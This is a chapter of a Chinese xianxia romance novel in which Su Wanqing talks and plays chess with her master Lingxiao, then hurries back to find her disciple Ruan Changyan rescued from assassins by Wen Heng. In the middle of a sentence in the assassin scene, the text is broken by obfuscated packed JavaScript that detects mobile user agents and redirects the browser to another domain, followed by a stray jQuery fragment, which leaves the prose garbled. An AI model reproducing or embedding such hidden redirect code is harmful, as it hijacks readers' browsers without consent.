四季山四季花开,各居一方,桃花始盛开、芙蓉水上游、桂香飘千里以及寒梅雪中放,犹如一副迷人眼的风景画卷。
走进四季山,穿过守山结界,映入眼帘的四道法门,对应春夏秋冬,流光溢彩,美轮美奂。
师尊喜静,爱凌霄花,它开在榴月与玄月,应在第三门。思了片刻,她提步迈入秋门,进入的那一刻,片片金黄枫叶随风落在她的身上,漫天的花瓣飘洒而坠。
湖畔晕染云雾,蒙尘不散,她瞧见一人独坐其上,垂钓静然,她放轻脚步,靠近时轻唤作礼道:“师尊,弟子来迟。”
凌霄挥手,变出渔具与木凳在旁边,示意她坐着。
迷雾越积越深,心里的清明倒是越发浅显,静坐在此,苏晚清觉得心静了不少,湖里的鱼欢呼雀跃,游来游去,就像未经世事的天真幼童一般,“师尊,我突然想起两位先贤曾有一辩,湖鱼是否快乐,师尊是如何看待?”
凌霄眼中的动容流露,不假思索地道:“心境。心若随情,则万物为情绪之影响;心若随物,则情绪为万物之影响。”
“弟子受教。”
过了一会儿,她看师尊旁边的鱼桶空空如也,自己这里几乎满了,起初觉得诧异,后来又想明白了很多,才道今日来意:“师尊唤我前来,是因弟子,还是温衡?弟子回去思了一夜,想清楚了诸多的事,当初师尊的嘱咐和今日的一切都有联系。”
这里的风透着暖意,一点也不冷。
凌霄答道:“时机未到,天机不可泄露。”
“……”
正当苏晚清觉得她的问题将淹没之时,耳畔再度传来师尊清冷的声音:“虽是天机,但也并非无解。当初本座将温衡手中的招妖幡封在苍山轮回境中,也封了他的魔性,本以为万无一失,可能是牵一发而动全身,变数也不由本座掌控。”
她问道:“师尊知道他是苍梧所化,为何不杀了他?您当真觉得,温衡可信?”
凌霄沉默片刻,答道:“受人所托,何况,本座觉得他还有救。温衡的命运如何皆看他的造化。晚清,寒舟已问过你,当真不愿回来?”
这次轮到苏晚清沉默了,她想了很多的原因,在心中选定了她认为最合适的理由道:“我知道是师尊的意思。弟子知道,师尊担心我,怕我有劫。”
看师尊的神情,应当是了。
秋叶瑟瑟,寒风凛凛,湖中的水随着她的动作,她的棋子落在对面的界限,连成一个围城,困住了所有的白子。
“师尊,自我离山那刻,我便打算做个锄强扶弱的江湖散客,无论是客死他乡,还是安享天命,都无怨无悔。师尊不必为我忧心,弟子落子无悔。”
凌霄虽是个冷心冷情的人,但待弟子极好,不喜言语,胜在行动。
她有时候在想,师尊曾经应该也是个肆意潇洒的少年郎吧。
他常常看着一副画像凝神,想是从前的故人,为其魂牵梦萦。
“也罢,为师想告诫你,多加小心陆竟渊。昨日观他时,他的体内魔气正盛,有重伤之势。重要的是,他竟能转为为自身灵力,他的背后定有同出魔域之人。之前你师兄给的指示有误,我暂时还不知他的真面目。”
苏晚清了然,知晓师尊精通占卜推算之术,窥得天机,却不得透露的限制,亦不再追问,问了别的问题:“弟子有一疑虑,恳请师尊解惑。师尊曾造访轩辕窟,见识不凡。当日浮沉珠误入我身却未曾伤我半分,弟子想问,轩辕窟是否与我有一些羁绊?”
她其实不愿相信宿世轮回,但浮沉珠入她身躯那刻,她的脑海涌来了很多不属于的记忆画面,就好像身临其境一般,也存了几息,转瞬即逝。
是因果,还是羁绊。
见过的虚影匆匆掠过,又有几分熟悉。
大概是她受了魔物的影响。
于是,苏晚清又补充了一句,“弟子曾在轩辕窟见过师尊,也见过师尊与‘温衡’交手。”
“不错,是有关联。”凌霄指尖覆了一缕羽毛,经风一吹便飞向他方,“其中缘由日后你便会知晓。”
天机便是天机,如若违背,必遭天罚,任是凌霄也不能轻易违反,就连是那个人,也阻挡不了。
苏晚清也不是个十分好奇的人,既然师尊不便言明,那她也不必为难。只是,她心中还有疑问,酝酿了一会儿,终是说道:“儿时我所遇仙者是否就为师尊?”
温衡那只仙鹤上面的残息就如此刻飘散的落叶散出的气息般,她的疑虑重重,相比之下,她觉得这个问题,师尊应该能答复。
凌霄顿了顿,执起白子,落在一处不轻易察觉的空隙,扭转了棋盘上所有的局面,倒是吃掉了她大半的黑子,随即答道:“是,也不全是。这世间有太多需要度化的有缘人,你、温衡,任净雪亦是。多如繁星,数不胜数。”
纵观全局,此局胜败已定。
她输了。
“弟子服输。”
凌霄示意她再观察一下,满盘棋子留有余地,她从师尊的棋子为出发点,理清他的路数,再找漏洞,半刻过后,果然寻到一处,落下黑子,瞬间转败为胜。
师尊的脸上有了一点笑容,嘴角微微上扬,依旧是清冷的嗓音:“孺子可教也。”
“是师尊教得好。”
对岸的落叶飘到这里,隆起聚成一扇门,细小声音随湖中波澜起伏,传递而来。
身后悄然走来两人,一为燕寒舟,二为崔瑶。
崔瑶一见苏晚清,心中一阵不喜,“师尊,你让她来这里做什么?”反倒是一旁的燕寒舟静默地看着两人,不出声。
凌霄起身,撤下棋局,瞧了眼崔瑶,道:“本座难得清闲,召你们三人前来不为别事,小聚方可。小瑶,今日过后你便回去看望你的父母,不必急着回来。”
崔瑶很是不解,拒绝了凌霄的提议:“我不回去,我还没有取得三清琴。师尊,天音门把试炼交给了归山派,待我取得宝物,我才能回得安心。”
师尊只是淡然一笑,有几分纠结,也不勉强,在前带路,让他们跟在身后。
“也好,你们今夜留在四季山,明日再回去罢。”凌霄的声音落在身后,也落入了苏晚清的耳中。
要回去吗?
还是回去罢。
天魔宗虎视眈眈,秋山派紧追不放,她放心不下阮长言,最终还是决意回去。
他们也算在四季山参观了一番,其中奥妙无穷,将四季困于山间,其景绽于眼前,停在大雪漫漫的山峰,她的眼前似乎又瞧见了儿时那座隐匿的神女庙。
那少年斩杀狐妖的身影犹然映在眼前,眨眼间灰飞烟灭,如过境春风,捉摸不了。
在这里,品各种珍馐,赏百种奇花异草,喝不易醉的花酒,待在这里好似隔绝了人间的烟火纷扰,清静了许多。
苏晚清看着那间被凌霄花点缀的屋子,心里犹然有些许感慨,疑虑就此掩埋在她的心间,再不询问出来。
她拜别了师尊,走出山门时,朦胧细雨缠缠绵绵,打湿了下山的路,空气里带着湿润的气息,不禁让人竖起寒毛,瑟瑟发抖。
一步未落,身后有人在叫她,是带着急切的声音在呼唤,走到她的跟前,那把青色雨伞便被丢了过来。
是她的师妹,崔瑶。
“也不知道你那么急着回去做什么。伞给你,师尊让我给你的。”说着,就头也不回地转身离开。
苏晚清握紧了雨伞,微微一笑,冲着里面喊道:“师妹,替我谢谢师尊。我还会再来的!”
很快,里面的人便回应了她:“你别再来了,我不欢迎你!”
嘴硬心软。
苏晚清心里升起几分暖意,稍稍低头,便发觉手腕上的手环在散着光芒,这是连接阮长言的信物,若他有危险,便能按着他腕上的环告知于她。
不好,长言有危险。
一阵红光迅速地从山巅掠下,女子身影不再,独留余香,轻散在寒冷的夜里。
***
刀剑相碰的声音如鸣佩环,又透露出诡异与恐惧,阮长言缩成一团躲在装了泔水的木桶旁,在不停地按着手环的同时,悄悄露出脑袋去瞧那个为保护他而和那些杀手厮杀的温衡。
“师父师父,快出现。”阮长言自认近来学习进步很快,但还是难挡那些人的法宝与灵敏的攻击,他大气都不敢出,只能捂着嘴巴喘气。
长言丝毫没有注意到头上有人正在靠近这里。
液体一滴两滴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434982|172794||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,像水珠一样滑落下来,滴落在他的鼻尖。
铁锈般道的味道冲击着味蕾,他猛地抬头,慌慌张张地想要抓住一旁可支撑之物,刚触及一根木桩,上方便又有什么东西掉了下来,眼前忽然一黑,脖子被冰凉之物紧紧钳制着,救命的话喊不出口。
“啊!”
阮长言的大脑一片空白,只觉自己的脖子要被勒断了,耳畔嗡嗡的,若万千蚊虫爬过一般,整张脸都因桎梏而憋得通红。
那人立于高空,单手吊着长言,有一下没一下地加重长言脖颈上的束缚,得意地冲温衡喊道:“温衡,你和这小子什么关系?为他杀了我多少人,我饶不了你。现在,你自封灵力,如若不然,我就杀了这臭小子。”
谁知话音刚落,温衡的剑便穿透了那人的喉咙,如闪电般迅速带走了圈在手下的阮长言,溅出的血径直落在了长言的脸上。
温衡单手拎着长言,反手将他推到设好的结界之内,召出玉箫置于他的手上,嘱咐道:“拿好它,哪个不知死活敢来找你,就用它打在谁的身上。知道了吗?”
长言没见过这个阵仗,颤抖着手拿箫,沙哑地道:“谢……谢。”
目光所及之处,皆是幻影,他看到那个自称是天魔宗少主的人一手执剑,不费任何吹灰之力便将那些人尽数斩于剑下,遍地都是死伤的派众,其中有一人露出了肩上的印记,他一下子就认出了那是无涯的标志。
凡是入无涯请杀手者,被请的杀手可以是各门各派且都会涂上标志,这样便不知是哪个门派,但招式总不会变。
阮长言可以断定,有三波人,一波是天魔宗的人,一波是秋山派,还有一波,他就不知道了。
他本想出去买点东西,不知不觉竟走到了郊外,就碰上了这些人。
幸好师父先传给他的是逃跑之术,于是他一直跑一直跑,直到碰上了温衡。
待在里面还算安全,没有人能靠近他。
那个哥哥好像很厉害,剑光煞是刺眼,连招式如何也没能看得清楚,以一敌百也不落下风,这个方向是前往清水居的方向,难不成是去寻师父的?
想着想着,阮长言便觉一阵难受,再也支撑不住,昏在了地上。
再次醒来之时,他已躺在了床上,身上的衣服也被换了个干净,门外还有些许动静,貌似是师父的声音。
“长言,好好休息。明日再与你说。”苏晚清的声音从外面传来,正好制止了长言想下床观察的心思,既然师父都这么说了,他好好休息便是。
月色撩人心弦,寂静地照在寒潭,也映出了两个人的身影。湖面有连绵起伏的波澜,岸上则是簌簌被风吹落的海棠花。
树欲静而风不止,是风在动。
这些海棠花都是她用灵力维持的,使其花期撑到如今,只可惜近日灵力不稳,海棠花也逐渐凋零。
眼前的男子脸上沾了几滴血,正看着她。
她抬手施法替温衡拭去了鲜血,温声道:“温衡,今日之事,谢谢你。”
“你是在关心我吗?”温衡嘴角微弯,向她走近了两步,伸手拿开落在她青丝上的花,也不丢下,就握在手中,笑意晏晏,“我救了你的弟子,你要怎么报答我?”
苏晚清抬头与他对视,“你想我怎么报答?”
这下轮到温衡沉默了,他的喉咙滚动了一下,试探性地道:“什么要求你都会答应?”
“以身相许?”她反问,目光却不离他的视线,轻挑眉梢,爽快地道。
温衡再进一步,“我还没有龌龊到这样的地步,不过若是你想,也并非不可以。”
苏晚清对他笑了笑,随即就道:“这得看你有没有诚意。”眼前的男子一袭青衣,青丝半散着,再配上那张俊脸,任是哪个姑娘瞧见了,无不心动的。
那崭新的衣袍沾了些血渍,被他一剑斩去了衣袖。
此刻的雨停歇已久,尘土染上雨的气息,与花香交缠。空气弥漫的香气馥郁,为这圆月增添了许多美妙。
静了一会儿,温衡忽然说道:“我等了你这么久,从午时等到子时,未踏进清水居半步,那些杀手有一半是天魔宗的人,他们的尸体也是我处理的,这还不算有诚意,四季山这么值得你留恋?”